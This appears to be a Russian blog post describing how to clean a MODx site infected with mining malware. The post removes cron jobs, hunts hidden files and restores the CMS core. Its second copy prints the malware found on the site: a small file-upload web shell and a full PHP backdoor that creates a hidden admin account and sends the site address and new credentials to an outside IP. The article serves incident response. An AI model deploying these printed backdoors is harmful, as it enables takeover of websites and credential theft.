Всем добрый вечер!
В предыдущей статье я попытался описать общие шаги при заражении сайта. В комментариях пообещал рассмотреть какой-либо конкретный случай. И вот, он мне представился. Конечно, жаль, что это не всеми так любимый Wordpress, но данный вид заражения там я тоже встречал, а процесс лечения в общих чертах совпадает. Приступим.
Заходим на хостинг, всюду видим страшные предупреждения:
Подключимся через ssh и будем смотреть.
Сразу нас встречает множество файлов stylewpp.php:
Вообще их было около 4000, это я уже успел поудалять =)
По своему опыту знаю, что эти файлы создаются через планировщик, поэтому идем туда через панель. Если нет доступа к панели управления, то используем команду:
Видим задание на ежеминутное копирование stylewpp с нашего же сайта:
Содержимое файла:
Код обфусцирован и довольно сильно, с первого раза не расшифровать, но по созданным stylewpp и анализу последствий - делаем вывод, что наш сайт (да и сервер), используется в целях майнинга.
Посмотрим содержимое корневой директории:
По структуре похоже, что сайт скорее всего на MODx, также невооруженным глазом видим и множество того, что скорее всего к нему не относится.
Рассмотрим содержимое некоторых:
- форма, позволяющая грузить все, что душе угодно;
- это интереснее, с помощью данного скрипта можно создать своего пользователя.
В остальном - всякое по мелочи, от загрузчиков, до скриптов для рассылки спама.
Будем чистить и вариантов у нас несколько:
1.) Убирать все вручную или какими-нибудь автоматизированными средствами (про них напишу отдельно в следующий раз);
2.) Что-то убрать руками, ядро заменить оригинальными файлами CMS;
В данном случае я выбираю 2-й вариант, так как, это минимизирует шанс на то, что что-то останется после лечения. Почему? Из опыта и вида заражения. Как минимум, присутствуют файлы с нулевыми правами, названием, начинающимся с точки. Автоматизированные средства такое не увидят, из корневой директории удалим, но может быть зарыто и глубже. Можно искать такие файлы через ssh (первая команда ищет файлы с нулевыми правами, вторая скрытые файлы):
Но зачем, если можно поступить гораздо проще?
Прежде всего нужно узнать версию MODx. Для этого пробуем пробиться в админку, временно (или навсегда =) меняя пароль какого-либо юзера с правами админа на свой:
Я это делал через mysql, более подробно написано на сайте MODx здесь. Есть и другие способы узнать версию MODx, например через phpmyadmin, но в данном случае мне удобнее так.
Имеем MODX Revolution 2.4.3-pl, смотрим на официальный сайт MODx в разделе "other downloads": Released Feb 11, 2016 with 33,603 downloads
Сайт сильно запустили. О необходимости обновления нужно обязательно написать в отчете (и в случае повторного заражения уже будет виноват сам клиент, так как неактуальная версия CMS, тем более на столько - является основанием для снятии с гарантии).
Забираем "Traditional"-версию с полным пакетом для установки. Версия "Advanced" служит для обновления и не совсем подходит для полного восстановления ядра:
Удаляем задание на создание stylewpp из cron, используем команду для редактирования файла заданий:
или удаляем из планировщика все:
Теперь удаляем все созданные планировщиком stylewpp (любым способом, через ssh, ftp или панель управления).
Обязательно делаем бекап!
Подключаемся через FTP, и убираем из корневой директории все, кроме пользовательских папок. Далее (действует только для MODx):
1.) Закидываем папки core, manager, connectors, setup и файлы index.php, ht.access из скачанного оригинального архива MODx;
2.) Закидываем config.inc.php в core/config/;
3.) Берем из нашего бекапа папку core/components/ и закидываем обратно на сайт;
4.) Берем из бекапа все архивы с пакетами из папки core/packages/, закидываем на сервер;
5.) Переходим по адресу: http://нашсайт.ру/setup. Выбираем "Обновление существующей установки" и ждем;
6.) Если все ок, то получаем сообщение о успешном завершении обновления;
7.) Желательно зайти в панели администрирования в менеджер пакетов и переустановить каждый из них;
8.) В панели очищаем кэш и выполняем перегенерацию URL через меню "Управление".
Готово, ядро полностью восстановлено, сайт работает (если это не так - смотрим error_log, гуглим ошибки, исправляем), осталось совсем немного, а именно - осмотреть пользовательские папки и папки с дополнениями на наличие вредоносных файлов. В данном случае это можно сделать вручную, их не так много.
После:
1.) Смена паролей всех пользователей;
2.) Смена пароля БД;
3.) В корневой и папке core переименовываем ht.access на .htaccess;
4.) Устанавливаем причину заражения. Несложно догадаться, что скорее всего проэксплуатировали устаревший MODx, который содержит кучу CVE. Ну например вот эту CVE-2018-1000207. Но произошло это уже давно, поэтому определить 100% не получится, так как логи, увы, так долго не хранятся;
5.) Делаем резервную копию очищенных файлов (на тот случай, если поломают до того, как клиент успеет обновить CMS);
6.) Запускаем антивирус на хостинге (если таковой имеется) для того, чтобы хостер мог снять санкции или пишем письмо в тех.поддержку с просьбой об этом;
7.) Пишем отчет клиенту || если делаем для себя - обязательно обновляемся.
To be continued.
В предыдущей статье я попытался описать общие шаги при заражении сайта. В комментариях пообещал рассмотреть какой-либо конкретный случай. И вот, он мне представился. Конечно, жаль, что это не всеми так любимый Wordpress, но данный вид заражения там я тоже встречал, а процесс лечения в общих чертах совпадает. Приступим.
Заходим на хостинг, всюду видим страшные предупреждения:
Подключимся через ssh и будем смотреть.
Сразу нас встречает множество файлов stylewpp.php:
Вообще их было около 4000, это я уже успел поудалять =)
По своему опыту знаю, что эти файлы создаются через планировщик, поэтому идем туда через панель. Если нет доступа к панели управления, то используем команду:
crontab -lВидим задание на ежеминутное копирование stylewpp с нашего же сайта:
Содержимое файла:
Код обфусцирован и довольно сильно, с первого раза не расшифровать, но по созданным stylewpp и анализу последствий - делаем вывод, что наш сайт (да и сервер), используется в целях майнинга.
Посмотрим содержимое корневой директории:
По структуре похоже, что сайт скорее всего на MODx, также невооруженным глазом видим и множество того, что скорее всего к нему не относится.
Рассмотрим содержимое некоторых:
PHP:
hahahahhahahahah<?php if($_GET["login"]=="canshu"){if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>GOOD</b><br>'; } echo '<form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" size="50"><input type="submit" value="submit"/></form>';} ?>
- форма, позволяющая грузить все, что душе угодно;
PHP:
<?php
$username = "xdom"; //логин
$password = ""; //пароль
$email = "blablablu@gmail.com"; //почта
$act = 0; //0 - создание пользователя, 1 - разблокировка пользователя
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function gen_salt()
{
$chars = str_shuffle("qazxswedcvfrtgbnhyujmkiolp1234567890QAZXSWEDCVFRTGBNHYUJMKIOLP");
$max = 35;
$size = strlen($chars) - 1;
$str1 = null;
while($max--) { $str1 .= $chars[mt_rand(0, $size)]; }
return md5($str1);
}
function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
{
if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);
$output = '';
$block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
for ($i = 1; $i <= $block_count; $i++)
{
$last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
for ($j = 1; $j < $count; $j++)
{
$xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
}
$output .= $xorsum;
}
if (!$raw_output) $output = bin2hex($output);
return $length ? substr($output, 0, $length) : $output;
}
function hash_pass($password, $salt)
{
return base64_encode(hash_pbkdf2("sha256", $password, $salt, 1000, 32, TRUE));
}
if (file_exists("core/config/config.inc.php"))
{
require_once("core/config/config.inc.php");
$mysqli = new mysqli($database_server, $database_user, $database_password, $dbase);
if ($mysqli->connect_errno)
{
die("Error connect MySQL: (".$mysqli -> connect_errno.")".$mysqli -> connect_error.")");
}
else
{
if ($act == 0)
{
$password = generateRandomString();
$password_salt = gen_salt();
$password_full = hash_pass($password, $password_salt);
$check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
$check_user = $check_user_query->num_rows;
if ($check_user == 0)
{
$mysqli->query("INSERT INTO ".$table_prefix."users (username, password, cachepwd, class_key, active, hash_class, salt, session_stale) VALUES ('{$username}', '{$password_full}', '', 'modUser', 1, 'hashing.modPBKDF2', '{$password_salt}', NULL)");
$user_id = $mysqli->insert_id;
if ($user_id > 0)
{
$mysqli->query("INSERT INTO ".$table_prefix."user_attributes (internalKey, fullname, email, phone, mobilephone, blocked, blockeduntil, blockedafter, logincount, lastlogin, thislogin, failedlogincount, sessionid, dob, gender, address, country, city, state, zip, fax, photo, comment, website, extended) VALUES ('{$user_id}', '', '{$email}', '', '', 0, 0, 0, 0, 0, 0, 0, '', 0, 0, '', '', '', '', '', '', '', '', '', NULL)");
$mysqli->query("INSERT INTO ".$table_prefix."member_groups (user_group, member, role, rank) VALUES (1, '$user_id', 2, 0)");
echo "User - '<font color=\"red\">{$username}</font>' password - '<font color=\"red\">{$password}</font>' add in DB '<font color=\"red\">{$dbase}</font>'!";
$check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
$check_user = $check_user_query->num_rows;
$user_id = $check_user_query->fetch_array();
if ($check_user > 0)
{
$mysqli->query("UPDATE ".$table_prefix."user_attributes SET blocked = '0', blockeduntil = '0', blockedafter = '0' WHERE internalKey='".$user_id['id']."'");
file_get_contents("http://134.249.116.78/check-update/check.php?p3=".$_SERVER['HTTP_HOST']."/manager/index.php@".$username."@".$password);
echo "User '<font color=\"red\">{$username}</font>' unblock!";
}
}
else
{
die("Error add user '".$table_prefix."users'!");
}
}
else
{
die("User '<font color=\"red\">{$username}</font>' exists in DB!");
}
}
}
}
else
{
die("Config not exists!");
}
?>
- это интереснее, с помощью данного скрипта можно создать своего пользователя.
В остальном - всякое по мелочи, от загрузчиков, до скриптов для рассылки спама.
Будем чистить и вариантов у нас несколько:
1.) Убирать все вручную или какими-нибудь автоматизированными средствами (про них напишу отдельно в следующий раз);
2.) Что-то убрать руками, ядро заменить оригинальными файлами CMS;
В данном случае я выбираю 2-й вариант, так как, это минимизирует шанс на то, что что-то останется после лечения. Почему? Из опыта и вида заражения. Как минимум, присутствуют файлы с нулевыми правами, названием, начинающимся с точки. Автоматизированные средства такое не увидят, из корневой директории удалим, но может быть зарыто и глубже. Можно искать такие файлы через ssh (первая команда ищет файлы с нулевыми правами, вторая скрытые файлы):
find ./ -perm 000find ./ -type f -name ".*"Но зачем, если можно поступить гораздо проще?
Прежде всего нужно узнать версию MODx. Для этого пробуем пробиться в админку, временно (или навсегда =) меняя пароль какого-либо юзера с правами админа на свой:
Код:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('the-new-password') WHERE username = 'theusername';
Я это делал через mysql, более подробно написано на сайте MODx здесь. Есть и другие способы узнать версию MODx, например через phpmyadmin, но в данном случае мне удобнее так.
Имеем MODX Revolution 2.4.3-pl, смотрим на официальный сайт MODx в разделе "other downloads": Released Feb 11, 2016 with 33,603 downloads
Сайт сильно запустили. О необходимости обновления нужно обязательно написать в отчете (и в случае повторного заражения уже будет виноват сам клиент, так как неактуальная версия CMS, тем более на столько - является основанием для снятии с гарантии).
Забираем "Traditional"-версию с полным пакетом для установки. Версия "Advanced" служит для обновления и не совсем подходит для полного восстановления ядра:
Удаляем задание на создание stylewpp из cron, используем команду для редактирования файла заданий:
crontab -eили удаляем из планировщика все:
crontab -rТеперь удаляем все созданные планировщиком stylewpp (любым способом, через ssh, ftp или панель управления).
Обязательно делаем бекап!
Подключаемся через FTP, и убираем из корневой директории все, кроме пользовательских папок. Далее (действует только для MODx):
1.) Закидываем папки core, manager, connectors, setup и файлы index.php, ht.access из скачанного оригинального архива MODx;
2.) Закидываем config.inc.php в core/config/;
3.) Берем из нашего бекапа папку core/components/ и закидываем обратно на сайт;
4.) Берем из бекапа все архивы с пакетами из папки core/packages/, закидываем на сервер;
5.) Переходим по адресу: http://нашсайт.ру/setup. Выбираем "Обновление существующей установки" и ждем;
6.) Если все ок, то получаем сообщение о успешном завершении обновления;
7.) Желательно зайти в панели администрирования в менеджер пакетов и переустановить каждый из них;
8.) В панели очищаем кэш и выполняем перегенерацию URL через меню "Управление".
Готово, ядро полностью восстановлено, сайт работает (если это не так - смотрим error_log, гуглим ошибки, исправляем), осталось совсем немного, а именно - осмотреть пользовательские папки и папки с дополнениями на наличие вредоносных файлов. В данном случае это можно сделать вручную, их не так много.
После:
1.) Смена паролей всех пользователей;
2.) Смена пароля БД;
3.) В корневой и папке core переименовываем ht.access на .htaccess;
4.) Устанавливаем причину заражения. Несложно догадаться, что скорее всего проэксплуатировали устаревший MODx, который содержит кучу CVE. Ну например вот эту CVE-2018-1000207. Но произошло это уже давно, поэтому определить 100% не получится, так как логи, увы, так долго не хранятся;
5.) Делаем резервную копию очищенных файлов (на тот случай, если поломают до того, как клиент успеет обновить CMS);
6.) Запускаем антивирус на хостинге (если таковой имеется) для того, чтобы хостер мог снять санкции или пишем письмо в тех.поддержку с просьбой об этом;
7.) Пишем отчет клиенту || если делаем для себя - обязательно обновляемся.
To be continued.